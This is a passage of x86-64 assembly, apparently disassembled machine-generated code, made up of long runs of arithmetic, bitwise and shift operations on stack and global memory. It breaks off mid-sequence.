mov rcx, qword [rsp + 0xbb60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc830]
mov dword [rcx], eax
lea rax, [rsp + 0x237]
mov qword [rsp + 0xdd30], rax
mov rax, qword [rsp + 0xb758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1394]
or eax, ecx
mov rcx, qword [rsp + 0xa868]
mov word [rcx], ax
lea rax, [rsp + 0x4f58]
mov qword [rsp + 0xdd38], rax
mov eax, dword [0x14019d908]
mov ecx, dword [rsp + 0x4d30]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc238]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb1b8]
mov eax, dword [rax]
mov dword [rsp + 0x5160], eax
mov rax, qword [rsp + 0xdad0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x44ac]
sar eax, cl
mov dword [0x14019c158], eax
movzx eax, word [0x14019c0ec]
movzx ecx, word [rsp + 0x133c]
shl eax, cl
mov rcx, qword [rsp + 0xb958]
mov word [rcx], ax
mov rax, qword [rsp + 0xce38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc7c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2ca], al
lea rax, [rsp + 0x13cc]
mov qword [rsp + 0xdd40], rax
movsx eax, byte [0x14019d806]
mov rcx, qword [rsp + 0xa900]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xda00]
mov byte [rcx], al
mov eax, dword [rsp + 0x4e18]
mov dword [rsp + 0x5164], eax
mov rax, qword [rsp + 0xd998]
mov ecx, dword [rsp + 0x4bc8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd2c8]
mov dword [rcx], eax
mov rax, qword [0x14019d910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov word [rsp + 0x1158], ax
mov rax, qword [rsp + 0xbe68]
movzx eax, byte [rax]
mov byte [rsp + 0x2d9], al
mov rax, qword [rsp + 0xbc58]
mov rcx, qword [rsp + 0xcea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019daf0], eax
mov eax, dword [rsp + 0x4144]
mov ecx, dword [0x14019c044]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5114], eax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov dword [rsp + 0x5168], eax
mov rax, qword [rsp + 0xdac8]
mov rcx, qword [rsp + 0xbd60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x45a0], eax
movzx eax, word [rsp + 0x100c]
movzx ecx, word [rsp + 0xf94]
add eax, ecx
mov rcx, qword [rsp + 0xc740]
mov word [rcx], ax
mov rax, qword [rsp + 0xc250]
movzx eax, byte [rax]
mov byte [rsp + 0x2da], al
mov rax, qword [rsp + 0xac30]
mov ecx, dword [0x14019dbb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x36fc], eax
mov rax, qword [rsp + 0xc4e8]
mov eax, dword [rax]
mov dword [rsp + 0x516c], eax
mov rax, qword [rsp + 0xbe60]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc660]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x4354]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019bf84], eax
lea rax, [rsp + 0x4e00]
mov qword [rsp + 0xdd48], rax
movsx eax, byte [rsp + 0x2a8]
mov rcx, qword [rsp + 0xa558]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xab70]
mov byte [rcx], al
mov rax, qword [rsp + 0xac20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13cc]
shl eax, cl
mov word [rsp + 0x106c], ax
mov rax, qword [rsp + 0xcec8]
movzx eax, byte [rax]
mov byte [rsp + 0x2db], al
movzx eax, word [rsp + 0x1414]
mov rcx, qword [rsp + 0xb418]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1248], ax
lea rax, [0x14019c0d0]
mov qword [rsp + 0xdd50], rax
mov rax, qword [rsp + 0xadb0]
mov ecx, dword [rsp + 0x4808]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4638], eax
mov rax, qword [rsp + 0xd8f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc4]
add eax, ecx
mov word [rsp + 0x1238], ax
movzx eax, byte [0x14019bf57]
mov rcx, qword [rsp + 0xb5d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019c006], al
lea rax, [rsp + 0x4494]
mov qword [rsp + 0xdd58], rax
mov rax, qword [rsp + 0xcf28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd098]
mov dword [rcx], eax
lea rax, [0x14019dbb8]
mov qword [rsp + 0xdd60], rax
mov rax, qword [rsp + 0xb040]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4428]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fec], eax
movzx eax, word [rsp + 0x101c]
movzx ecx, word [rsp + 0x12ec]
sub eax, ecx
mov rcx, qword [rsp + 0xb2c8]
mov word [rcx], ax
lea rax, [0x14019d7e6]
mov qword [rsp + 0xdd68], rax
mov rax, qword [rsp + 0xbc08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b54], eax
lea rax, [rsp + 0x4fd0]
mov qword [rsp + 0xdd70], rax
lea rax, [rsp + 0x129c]
mov qword [0x14019e180], rax
movsx eax, byte [rsp + 0x196]
movsx ecx, byte [rsp + 0x2ad]
and eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov byte [rcx], al
mov rax, qword [rsp + 0xd438]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd700]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb778]
mov byte [rcx], al
mov rax, qword [rsp + 0xad50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb8]
sar eax, cl
mov word [rsp + 0xd0c], ax
mov rax, qword [rsp + 0xb040]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x46b4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b0], eax
mov rax, qword [rsp + 0xc890]
mov eax, dword [rax]
mov dword [rsp + 0x5170], eax
mov rax, qword [rsp + 0xbdc0]
mov eax, dword [rax]
mov ecx, dword [0x14019c00c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c4], eax
lea rax, [rsp + 0x442c]
mov qword [rsp + 0xdd78], rax
mov rax, qword [rsp + 0xc060]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ffc]
shl eax, cl
mov rcx, qword [rsp + 0xd610]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x297]
mov rcx, qword [rsp + 0xd028]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x172], al
movzx eax, word [rsp + 0xe20]
movzx ecx, word [rsp + 0x135c]
and eax, ecx
mov rcx, qword [0x14019dbf0]
mov word [rcx], ax
lea rax, [rsp + 0x3618]
mov qword [rsp + 0xdd80], rax
mov eax, dword [rsp + 0x4acc]
mov ecx, dword [0x14019c090]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd728]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf78]
mov eax, dword [rax]
mov dword [rsp + 0x5174], eax
mov eax, dword [0x14019bfe0]
mov ecx, dword [rsp + 0x46fc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcaa0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x11e4]
movzx ecx, word [rsp + 0x1398]
sub eax, ecx
mov word [rsp + 0x1478], ax
movzx eax, byte [rsp + 0x267]
mov byte [rsp + 0x2dc], al
mov rax, qword [rsp + 0xa658]
movsx eax, word [rax]
mov rcx, qword [0x14019def8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfa0], ax
lea rax, [rsp + 0x20b]
mov qword [rsp + 0xdd88], rax
lea rax, [rsp + 0x4710]
mov qword [0x14019e188], rax
mov rax, qword [rsp + 0xab38]
mov rcx, qword [rsp + 0xaff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b68], eax
mov rax, qword [rsp + 0xc9c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb010]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd8a8]
mov word [rcx], ax
lea rax, [rsp + 0x183]
mov qword [rsp + 0xdd90], rax
mov eax, dword [rsp + 0x4a9c]
mov ecx, dword [rsp + 0x4ba4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb3e8]
mov dword [rcx], eax
lea rax, [0x14019e0bc]
mov qword [rsp + 0xdd98], rax
mov rax, qword [rsp + 0xa8a0]
mov ecx, dword [rsp + 0x36f0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd9e0]
mov dword [rcx], eax
mov rax, qword [0x14019de98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c70]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb080]
mov dword [rcx], eax
lea rax, [rsp + 0x1214]
mov qword [rsp + 0xdda0], rax
movzx eax, byte [rsp + 0x1cf]
movzx ecx, byte [rsp + 0x1b2]
sar eax, cl
mov rcx, qword [0x14019e158]
mov byte [rcx], al
mov eax, dword [0x14019de58]
mov rcx, qword [rsp + 0xc660]
mov qword [rsp + 0xdda8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdda8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbd78]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4478]
mov dword [rsp + 0x5178], eax
mov rax, qword [rsp + 0xa6b8]
mov ecx, dword [rsp + 0x45ec]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbed8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4c34]
mov dword [rsp + 0x517c], eax
mov rax, qword [0x14019dea0]
mov rcx, qword [rsp + 0xd590]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5160], eax
mov rax, qword [rsp + 0xafa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa8b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd118]
mov byte [rcx], al
movzx eax, word [rsp + 0x11b8]
mov word [rsp + 0x14e4], ax
mov rax, qword [rsp + 0xd188]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x297]
and eax, ecx
mov rcx, qword [rsp + 0xb060]
mov byte [rcx], al
movzx eax, word [rsp + 0x1010]
mov rcx, qword [rsp + 0xd348]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019e0c0], ax
mov eax, dword [rsp + 0x46fc]
mov dword [rsp + 0x5180], eax
mov rax, qword [rsp + 0xb048]
mov ecx, dword [rsp + 0x4814]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc690]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc078]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1bd], al
lea rax, [0x14019bf1c]
mov qword [rsp + 0xddb0], rax
mov rax, qword [rsp + 0xabc8]
mov ecx, dword [rsp + 0x4d44]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4bf0], eax
mov eax, dword [rsp + 0x5180]
mov dword [rsp + 0x5184], eax
mov eax, dword [0x14019df50]
mov ecx, dword [rsp + 0x43c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f10], eax
mov rax, qword [rsp + 0xdb90]
mov ecx, dword [rsp + 0x4450]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbe38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbaa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1228]
add eax, ecx
mov word [0x14019c15c], ax
lea rax, [rsp + 0x1dd]
mov qword [rsp + 0xddb8], rax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rsp + 0x4458]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x473c], eax
lea rax, [rsp + 0x38a0]
mov qword [rsp + 0xddc0], rax
mov rax, qword [0x14019dae0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
shl eax, cl
mov word [rsp + 0x10d0], ax
lea rax, [rsp + 0x2bd]
mov qword [rsp + 0xddc8], rax
movzx eax, byte [rsp + 0x280]
movzx ecx, byte [rsp + 0x28a]
xor eax, ecx
mov byte [rsp + 0x201], al
movzx eax, word [0x14019c15c]
mov rcx, qword [rsp + 0xb758]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb898]
mov word [rcx], ax
mov rax, qword [rsp + 0xc278]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3870], eax
mov rax, qword [rsp + 0xb328]
mov rcx, qword [0x14019e0e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14019e030]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4690]
mov ecx, dword [rsp + 0x4f9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b80], eax
mov eax, dword [rsp + 0x4c4c]
mov dword [rsp + 0x5188], eax
mov eax, dword [0x14019c0ac]
mov ecx, dword [rsp + 0x4174]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5160], eax
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xabe8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb778]
mov byte [rcx], al
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
mov word [rsp + 0x14e8], ax
mov eax, dword [0x14019c14c]
mov ecx, dword [rsp + 0x5104]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ef4], eax
mov eax, dword [rsp + 0x4c00]
mov dword [rsp + 0x518c], eax
mov rax, qword [rsp + 0xa6e8]
mov ecx, dword [rsp + 0x4670]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4878], eax
lea rax, [0x14019df50]
mov qword [0x14019e190], rax
mov rax, qword [rsp + 0xc8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e4]
sub eax, ecx
mov rcx, qword [rsp + 0xbde8]
mov word [rcx], ax
lea rax, [rsp + 0x15c]
mov qword [rsp + 0xddd0], rax
mov rax, qword [rsp + 0xc2f8]
movsx eax, byte [rax]
mov rcx, qword [0x14019dba0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdd88]
mov byte [rcx], al
lea rax, [rsp + 0x10d0]
mov qword [rsp + 0xddd8], rax
mov eax, dword [rsp + 0x46c0]
mov ecx, dword [rsp + 0x4464]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4854], eax
mov eax, dword [rsp + 0x4a44]
mov ecx, dword [rsp + 0x4fd0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4378], eax
lea rax, [rsp + 0x139c]
mov qword [rsp + 0xdde0], rax
mov rax, qword [rsp + 0xbcb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdc18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x20f], al
mov eax, dword [rsp + 0x46bc]
mov rcx, qword [rsp + 0xd668]
mov qword [rsp + 0xdde8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdde8]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14019df18], eax
mov rax, qword [rsp + 0xad90]
mov eax, dword [rax]
mov dword [rsp + 0x5190], eax
mov rax, qword [rsp + 0xd650]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4600]
shl eax, cl
mov dword [rsp + 0x4f18], eax
mov rax, qword [0x14019de80]
mov eax, dword [rax]
mov dword [rsp + 0x5194], eax
movzx eax, word [rsp + 0x1024]
mov rcx, qword [rsp + 0xba30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc850]
mov word [rcx], ax
movzx eax, byte [rsp + 0x164]
movzx ecx, byte [rsp + 0x1c9]
sub eax, ecx
mov rcx, qword [rsp + 0xbf98]
mov byte [rcx], al
mov eax, dword [rsp + 0x4b3c]
mov dword [rsp + 0x5198], eax
mov rax, qword [rsp + 0xc240]
mov ecx, dword [rsp + 0x4618]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xdc28]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8a8]
mov eax, dword [rax]
mov dword [rsp + 0x519c], eax
mov eax, dword [rsp + 0x4218]
mov dword [0x14019e198], eax
mov rax, qword [rsp + 0xc368]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x516c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa950]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaeb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a3]
sub eax, ecx
mov byte [rsp + 0x2be], al
movzx eax, word [rsp + 0x13c4]
mov word [rsp + 0x14ec], ax
movzx eax, word [0x14019bfd4]
mov rcx, qword [rsp + 0xdcb0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd510]
mov word [rcx], ax
lea rax, [rsp + 0x2a5]
mov qword [rsp + 0xddf0], rax
mov rax, qword [rsp + 0xcad8]
mov rcx, qword [rsp + 0xcbc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4dc8], eax
mov rax, qword [rsp + 0xce30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47b8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
lea rax, [rsp + 0x111c]
mov qword [rsp + 0xddf8], rax
mov rax, qword [rsp + 0xd1f0]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf1f]
sub eax, ecx
mov byte [0x14019d805], al
mov rax, qword [rsp + 0xbac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4070]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8b8]
mov dword [rcx], eax
lea rax, [rsp + 0x3f1c]
mov qword [rsp + 0xde00], rax
mov eax, dword [rsp + 0x4554]
mov rcx, qword [rsp + 0xa6e0]
mov qword [rsp + 0xde08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde08]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xcb38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4d5c]
movzx ecx, al
mov eax, dword [rsp + 0x5130]
shl eax, cl
mov dword [rsp + 0x3b88], eax
movzx eax, byte [rsp + 0x15f]
mov rcx, qword [rsp + 0xc7c8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x246], al
movzx eax, word [rsp + 0x1318]
mov rcx, qword [rsp + 0xa990]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xdbd0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3a4c]
mov dword [rsp + 0x51a0], eax
mov rax, qword [rsp + 0xb110]
mov rcx, qword [rsp + 0xc108]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd880]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f2]
sub eax, ecx
mov byte [0x14019c007], al
mov rax, qword [rsp + 0xc5b0]
movzx eax, word [rax]
mov word [rsp + 0x14f0], ax
mov rax, qword [rsp + 0xc288]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb4]
sub eax, ecx
mov rcx, qword [rsp + 0xb210]
mov word [rcx], ax
mov rax, qword [rsp + 0xc068]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov byte [rsp + 0x25e], al
lea rax, [rsp + 0x4dbc]
mov qword [rsp + 0xde10], rax
mov rax, qword [rsp + 0xc9b0]
mov rcx, qword [0x14019dbc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47c0], eax
mov rax, qword [rsp + 0xd398]
mov eax, dword [rax]
mov dword [rsp + 0x51a4], eax
mov eax, dword [rsp + 0x4384]
mov ecx, dword [rsp + 0x4168]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4798], eax
mov rax, qword [rsp + 0xdb48]
mov ecx, dword [0x14019c0ac]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcc28]
mov dword [rcx], eax
lea rax, [rsp + 0x235]
mov qword [rsp + 0xde18], rax
mov rax, qword [rsp + 0xba00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcd18]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019d870], ax
mov rax, qword [rsp + 0xb670]
mov rcx, qword [rsp + 0xce80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb168]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbef0]
mov eax, dword [rax]
mov dword [rsp + 0x51a8], eax
mov rax, qword [rsp + 0xc3a8]
mov ecx, dword [rsp + 0x4e54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4980], eax
mov rax, qword [rsp + 0xc2d8]
mov eax, dword [rax]
mov rcx, qword [0x14019d7b8]
mov qword [rsp + 0xde20], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde20]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xd378]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf40]
mov word [rsp + 0x14f4], ax
movzx eax, byte [rsp + 0x276]
movzx ecx, byte [rsp + 0x1cd]
or eax, ecx
mov rcx, qword [rsp + 0xc328]
mov byte [rcx], al
movzx eax, word [rsp + 0x13a4]
mov word [rsp + 0x14f8], ax
mov rax, qword [rsp + 0xc7d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad80]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1d3], al
lea rax, [rsp + 0x423c]
mov qword [0x14019e1a0], rax
lea rax, [rsp + 0x46f8]
mov qword [rsp + 0xde28], rax
mov rax, qword [0x14019df38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf40]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1064], ax
movzx eax, byte [rsp + 0x177]
movzx ecx, byte [rsp + 0x1b4]
and eax, ecx
mov rcx, qword [rsp + 0xa9a0]
mov byte [rcx], al
lea rax, [rsp + 0x3e18]
mov qword [rsp + 0xde30], rax
mov rax, qword [rsp + 0xb3a0]
mov rcx, qword [rsp + 0xd180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd710]
mov eax, dword [rax]
mov dword [rsp + 0x51ac], eax
mov rax, qword [rsp + 0xcdf0]
mov rcx, qword [0x14019d990]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa7e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x253]
movzx ecx, byte [rsp + 0x28f]
sub eax, ecx
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba30]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14019de88]
mov word [rcx], ax
lea rax, [rsp + 0x3b70]
mov qword [rsp + 0xde38], rax
mov rax, qword [rsp + 0xc6e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x39e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b74], eax
mov eax, dword [rsp + 0x4e6c]
mov dword [rsp + 0x51b0], eax
mov rax, qword [rsp + 0xba98]
mov rcx, qword [rsp + 0xb908]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xba78]
mov rcx, qword [rsp + 0xaad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4188], eax
lea rax, [rsp + 0x1190]
mov qword [rsp + 0xde40], rax
movsx eax, byte [rsp + 0x25b]
mov rcx, qword [rsp + 0xc490]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x20b], al
movzx eax, byte [rsp + 0x1f1]
mov byte [rsp + 0x2dd], al
movzx eax, word [rsp + 0x125c]
movzx ecx, word [rsp + 0x11bc]
xor eax, ecx
mov word [0x14019c160], ax
mov rax, qword [rsp + 0xdcd0]
mov eax, dword [rax]
mov rcx, qword [0x14019dc28]
mov qword [rsp + 0xde48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde48]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4494], eax
mov eax, dword [rsp + 0x47e0]
mov rcx, qword [rsp + 0xdb20]
mov qword [rsp + 0xde50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xde50]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4230], eax
lea rax, [rsp + 0x1f6]
mov qword [rsp + 0xde58], rax
mov rax, qword [rsp + 0xb730]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc648]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xdbc8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd710]
mov ecx, dword [rsp + 0x4eb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e30], eax
mov rax, qword [rsp + 0xc158]
mov rcx, qword [0x14019d820]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4ddc], eax
lea rax, [rsp + 0x3b60]
mov qword [rsp + 0xde60], rax
mov rax, qword [rsp + 0xcbd8]
mov ecx, dword [rsp + 0x488c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49e0], eax
mov rax, qword [rsp + 0xcc58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x29e]
add eax, ecx
mov byte [0x14019900a], al
movzx eax, word [rsp + 0x1254]
movzx ecx, word [rsp + 0x1044]
add eax, ecx
mov rcx, qword [rsp + 0xb460]
mov word [rcx], ax
mov rax, qword [rsp + 0xb1d8]
mov eax, dword [rax]
mov dword [rsp + 0x51b4], eax
mov rax, qword [rsp + 0xad00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4da8], eax
lea rax, [rsp + 0x16f]
mov qword [rsp + 0xde68], rax
mov rax, qword [rsp + 0xb228]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11b4]
sub eax, ecx
mov word [rsp + 0xcb4], ax
movzx eax, byte [0x14019d797]
movzx ecx, byte [rsp + 0x2bc]
add eax, ecx
mov byte [rsp + 0x179], al
lea rax, [rsp + 0x1280]
mov qword [rsp + 0xde70], rax
mov rax, qword [rsp + 0xb7b0]
mov ecx, dword [rsp + 0x4230]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48d8], eax
mov rax, qword [0x14019dcb8]
mov eax, dword [rax]
mov dword [0x14019e1a8], eax
mov eax, dword [rsp + 0x462c]
mov dword [rsp + 0x51b8], eax
mov eax, dword [rsp + 0x4d3c]
mov ecx, dword [rsp + 0x4d80]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcf00]
mov dword [rcx], eax
mov eax, dword [0x14019d7e0]
movzx ecx, al
mov eax, dword [rsp + 0x4e38]
sar eax, cl
mov dword [rsp + 0x4338], eax
movzx eax, word [rsp + 0x1110]
mov word [rsp + 0x14fc], ax
mov rax, qword [rsp + 0xc4a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x132]
shl eax, cl
mov rcx, qword [rsp + 0xaea0]
mov byte [rcx], al
lea rax, [0x14019bff8]
mov qword [rsp + 0xde78], rax
mov rax, qword [rsp + 0xc070]
mov ecx, dword [rsp + 0x4de0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4ef8], eax
lea rax, [rsp + 0x469c]
mov qword [rsp + 0xde80], rax
mov rax, qword [rsp + 0xddc0]
mov rcx, qword [0x14019dd60]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14019dc40]
mov dword [rcx], eax
movzx eax, word [rsp + 0x117c]
movzx ecx, word [rsp + 0x1388]
sub eax, ecx
mov word [rsp + 0x12b0], ax
mov rax, qword [rsp + 0xb698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd2b0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc1e0]
mov byte [rcx], al
mov rax, qword [0x14019dc10]
movzx eax, byte [rax]
mov byte [rsp + 0x2de], al
movsx eax, word [rsp + 0x1294]
imul eax, eax, 0x710c
mov word [rsp + 0xc94], ax
lea rax, [rsp + 0x4ef8]
mov qword [rsp + 0xde88], rax
mov eax, dword [0x14019d830]
mov ecx, dword [rsp + 0x44fc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa9d0]
